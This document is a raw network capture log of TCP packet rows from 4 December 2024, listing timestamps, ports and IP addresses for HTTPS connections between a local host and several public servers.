Dec 4, 2024 16:15:19.984508991 CET	443	49736	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:20.375480890 CET	443	49731	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.375487089 CET	443	49730	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.376025915 CET	49731	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.376055002 CET	443	49731	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.376125097 CET	49730	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.376166105 CET	443	49730	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.376533031 CET	49731	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.376540899 CET	443	49731	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.376724005 CET	49730	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.376732111 CET	443	49730	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.391275883 CET	443	49732	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.391660929 CET	49732	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.391688108 CET	443	49732	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.392083883 CET	49732	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.392091036 CET	443	49732	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.393425941 CET	443	49734	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.393709898 CET	49734	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.393718004 CET	443	49734	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.394185066 CET	49734	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.394191027 CET	443	49734	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.816013098 CET	443	49731	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.816040993 CET	443	49731	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.816142082 CET	443	49730	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.816143990 CET	49731	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.816167116 CET	443	49730	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.816170931 CET	443	49731	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.816236019 CET	49730	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.816258907 CET	443	49730	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.816291094 CET	49731	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.816308022 CET	49730	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.816497087 CET	49731	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.816499949 CET	49730	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.816503048 CET	443	49731	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.816508055 CET	443	49730	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.816519976 CET	49731	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.816530943 CET	49730	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.816699028 CET	443	49730	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.816709995 CET	443	49731	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.816729069 CET	443	49730	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.816755056 CET	443	49731	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.816777945 CET	49730	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.816790104 CET	49731	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.819434881 CET	49737	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.819478035 CET	443	49737	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.819520950 CET	49738	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.819550037 CET	443	49738	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.819555998 CET	49737	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.819616079 CET	49738	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.819750071 CET	49738	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.819762945 CET	443	49738	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.819776058 CET	49737	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.819792032 CET	443	49737	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.825277090 CET	443	49732	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.825342894 CET	443	49732	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.825469017 CET	49732	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.825493097 CET	49732	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.825511932 CET	443	49732	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.825524092 CET	49732	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.825530052 CET	443	49732	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.827538967 CET	49739	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.827550888 CET	443	49739	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.827615976 CET	49739	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.827742100 CET	49739	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.827752113 CET	443	49739	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.828309059 CET	443	49734	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.828370094 CET	443	49734	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.828475952 CET	49734	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.828497887 CET	49734	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.828497887 CET	49734	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.828505039 CET	443	49734	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.828512907 CET	443	49734	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.830229044 CET	49740	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.830276012 CET	443	49740	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.830346107 CET	49740	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.830461025 CET	49740	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:20.830475092 CET	443	49740	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:20.894785881 CET	443	49719	142.250.181.36	192.168.2.6
Dec 4, 2024 16:15:20.894856930 CET	443	49719	142.250.181.36	192.168.2.6
Dec 4, 2024 16:15:20.895092964 CET	49719	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:15:21.603394985 CET	49719	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:15:21.603435040 CET	443	49719	142.250.181.36	192.168.2.6
Dec 4, 2024 16:15:22.201884985 CET	443	49736	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:22.201963902 CET	49736	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:22.205415964 CET	49736	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:22.205430031 CET	443	49736	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:22.205708027 CET	443	49736	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:22.207108974 CET	49736	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:22.207170963 CET	49736	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:22.207181931 CET	443	49736	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:22.207290888 CET	49736	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:22.251339912 CET	443	49736	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:22.423162937 CET	443	49733	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.424021006 CET	49733	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:22.424058914 CET	443	49733	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.425725937 CET	49733	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:22.425733089 CET	443	49733	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.572767019 CET	443	49739	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.573311090 CET	49739	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:22.573342085 CET	443	49739	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.573802948 CET	49739	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:22.573810101 CET	443	49739	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.614103079 CET	443	49737	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.614631891 CET	49737	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:22.614645004 CET	443	49737	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.614764929 CET	443	49738	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.615011930 CET	49738	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:22.615041018 CET	443	49738	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.615071058 CET	49737	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:22.615076065 CET	443	49737	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.615531921 CET	49738	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:22.615544081 CET	443	49738	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.857103109 CET	443	49733	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.857131004 CET	443	49733	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.857223988 CET	49733	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:22.857254982 CET	443	49733	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.857491016 CET	49733	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:22.857506990 CET	443	49733	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.857515097 CET	49733	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:22.857681990 CET	443	49733	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.857712984 CET	443	49733	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.857758045 CET	49733	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:22.860205889 CET	49741	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:22.860243082 CET	443	49741	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.860502005 CET	49741	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:22.860502005 CET	49741	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:22.860531092 CET	443	49741	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:22.913927078 CET	443	49736	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:22.914020061 CET	443	49736	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:22.914534092 CET	49736	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:22.914575100 CET	443	49736	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:22.914591074 CET	49736	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:22.914597988 CET	443	49736	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:22.914632082 CET	49736	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:23.034256935 CET	443	49739	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.034339905 CET	443	49739	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.034454107 CET	49739	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.034919977 CET	49739	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.034944057 CET	443	49739	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.034959078 CET	49739	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.034965038 CET	443	49739	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.038006067 CET	49742	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.038065910 CET	443	49742	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.038161993 CET	49742	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.038335085 CET	49742	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.038348913 CET	443	49742	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.061402082 CET	443	49737	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.061481953 CET	443	49737	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.061687946 CET	49737	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.061732054 CET	49737	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.061758995 CET	443	49737	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.061772108 CET	49737	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.061778069 CET	443	49737	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.061880112 CET	443	49738	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.061944008 CET	443	49738	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.062000990 CET	49738	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.062141895 CET	49738	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.062160969 CET	443	49738	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.062174082 CET	49738	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.062179089 CET	443	49738	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.064268112 CET	49743	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.064306974 CET	443	49743	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.064379930 CET	49744	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.064407110 CET	443	49744	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.064414978 CET	49743	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.064452887 CET	49744	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.064582109 CET	49743	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.064587116 CET	49744	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.064595938 CET	443	49743	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.064600945 CET	443	49744	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.960024118 CET	443	49740	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.960736036 CET	49740	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.960776091 CET	443	49740	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:23.961347103 CET	49740	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:23.961352110 CET	443	49740	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.147943974 CET	49745	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:24.148020029 CET	443	49745	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:24.148094893 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:24.148114920 CET	49745	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:24.148144960 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:24.148194075 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:24.151427984 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:24.151439905 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:24.151612997 CET	49745	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:24.151631117 CET	443	49745	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:24.396351099 CET	443	49740	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.396421909 CET	443	49740	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.396579981 CET	49740	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:24.397064924 CET	49740	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:24.397080898 CET	443	49740	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.397111893 CET	49740	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:24.397116899 CET	443	49740	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.400485039 CET	49747	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:24.400537968 CET	443	49747	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.400608063 CET	49747	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:24.400773048 CET	49747	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:24.400789976 CET	443	49747	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.631571054 CET	443	49741	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.632390022 CET	49741	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:24.632432938 CET	443	49741	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.632858992 CET	49741	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:24.632865906 CET	443	49741	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.770183086 CET	443	49742	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.771001101 CET	49742	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:24.771034002 CET	443	49742	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.771490097 CET	49742	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:24.771497965 CET	443	49742	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.801052094 CET	443	49743	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.801692963 CET	49743	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:24.801758051 CET	443	49743	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.802258968 CET	49743	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:24.802264929 CET	443	49743	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.805557966 CET	443	49744	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.807324886 CET	49744	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:24.807380915 CET	443	49744	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:24.807761908 CET	49744	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:24.807766914 CET	443	49744	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.066932917 CET	443	49741	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.066993952 CET	443	49741	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.067064047 CET	49741	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.067285061 CET	49741	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.067320108 CET	443	49741	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.067337990 CET	49741	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.067343950 CET	443	49741	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.070528984 CET	49748	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.070557117 CET	443	49748	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.070614100 CET	49748	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.070796967 CET	49748	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.070811033 CET	443	49748	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.204828024 CET	443	49742	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.204905033 CET	443	49742	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.204962969 CET	49742	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.205153942 CET	49742	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.205174923 CET	443	49742	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.205193043 CET	49742	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.205200911 CET	443	49742	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.208095074 CET	49749	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.208123922 CET	443	49749	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.208228111 CET	49749	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.208389997 CET	49749	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.208404064 CET	443	49749	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.236387014 CET	443	49743	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.236454964 CET	443	49743	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.236516953 CET	49743	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.236860037 CET	49743	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.236881018 CET	443	49743	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.236896992 CET	49743	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.236902952 CET	443	49743	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.239782095 CET	49750	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.239826918 CET	443	49750	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.239907980 CET	49750	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.240078926 CET	49750	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.240091085 CET	443	49750	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.241102934 CET	443	49744	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.241162062 CET	443	49744	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.241210938 CET	49744	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.241333008 CET	49744	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.241348028 CET	443	49744	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.241375923 CET	49744	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.241381884 CET	443	49744	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.244026899 CET	49751	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.244050026 CET	443	49751	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.244117975 CET	49751	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.244226933 CET	49751	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:25.244234085 CET	443	49751	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:25.534104109 CET	443	49745	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:25.535211086 CET	49745	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:25.535242081 CET	443	49745	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:25.535677910 CET	443	49745	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:25.536302090 CET	49745	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:25.536370993 CET	443	49745	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:25.536535978 CET	49745	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:25.536592960 CET	49745	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:25.536623001 CET	443	49745	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:25.537039042 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:25.537631989 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:25.537647963 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:25.537987947 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:25.555661917 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:25.555790901 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:25.599626064 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:26.115528107 CET	443	49747	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.116017103 CET	49747	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.116059065 CET	443	49747	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.116537094 CET	49747	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.116543055 CET	443	49747	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.130397081 CET	443	49745	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:26.130467892 CET	443	49745	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:26.130530119 CET	49745	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:26.131529093 CET	49745	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:26.131544113 CET	443	49745	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:26.134176970 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:26.179330111 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:26.549601078 CET	443	49747	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.549669027 CET	443	49747	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.549740076 CET	49747	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.549947977 CET	49747	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.549969912 CET	443	49747	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.549981117 CET	49747	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.549987078 CET	443	49747	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.552892923 CET	49752	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.552927017 CET	443	49752	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.553201914 CET	49752	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.553201914 CET	49752	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.553232908 CET	443	49752	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.778451920 CET	443	49750	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.779326916 CET	49750	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.779381037 CET	443	49750	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.779768944 CET	49750	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.779773951 CET	443	49750	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.797666073 CET	443	49748	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.798213959 CET	49748	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.798263073 CET	443	49748	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.798636913 CET	49748	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.798643112 CET	443	49748	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.933240891 CET	443	49749	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.933816910 CET	49749	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.933844090 CET	443	49749	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.934283972 CET	49749	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.934289932 CET	443	49749	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.972485065 CET	443	49751	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.973151922 CET	49751	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.973165035 CET	443	49751	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:26.973609924 CET	49751	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:26.973613977 CET	443	49751	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.212846041 CET	443	49750	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.212914944 CET	443	49750	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.213016987 CET	49750	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.216569901 CET	49750	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.216603994 CET	443	49750	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.216619968 CET	49750	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.216626883 CET	443	49750	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.219495058 CET	49753	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.219522953 CET	443	49753	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.219639063 CET	49753	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.219759941 CET	49753	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.219770908 CET	443	49753	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.232891083 CET	443	49748	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.232945919 CET	443	49748	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.233112097 CET	49748	443	192.168.2.6	13.107.246.43
